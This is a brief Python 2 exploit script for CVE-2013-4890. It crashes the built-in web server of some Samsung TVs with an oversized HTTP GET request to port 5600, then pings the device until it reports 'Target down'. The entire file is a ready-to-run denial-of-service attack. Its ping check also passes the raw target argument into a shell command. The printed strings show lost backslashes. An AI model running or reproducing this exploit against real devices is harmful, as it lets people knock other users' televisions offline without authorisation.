#!/usr/bin/python

# Exploit Title: Samsung TV Denial of Service (DoS) Attack
# Date: 07/21/2013
# Exploit Author: Malik Mesellem - @MME_IT - http://www.itsecgames.com
# CVE Number: CVE-2013-4890
# Vendor Homepage: http://www.samsung.com
# Description: Resets some Samsung TVs
#   The web server (DMCRUIS/0.1) on port TCP/5600 is crashing by sending a long HTTP GET request
#   Tested successfully on my Samsung PS50C7700 plasma TV :)
 
import httplib
import sys
import os

print "  ***************************************************************************************"
print "   Author: Malik Mesellem - @MME_IT - http://www.itsecgames.comn"
print "   Exploit: Denial of Service (DoS) attackn"
print "   Description: Resets some Samsung TVsn"
print "     The web server (DMCRUIS/0.1) on port TCP/5600 is crashing by sending a long request."
print "     Tested successfully on my Samsung PS50C7700 plasma TV :)n"
print "  ***************************************************************************************n"

# Sends the payload
print "  Sending the malicious payload...n"
conn = httplib.HTTPConnection(sys.argv[1],5600)
conn.request("GET", "A"*300)
conn.close()

# Checks the response
print "  Checking the status... (CTRL+Z to stop)n"
response = 0
while response == 0:
  response = os.system("ping -c 1 " + sys.argv[1] + "> /dev/null 2>&1")
  if response != 0:
    print "  Target down!n"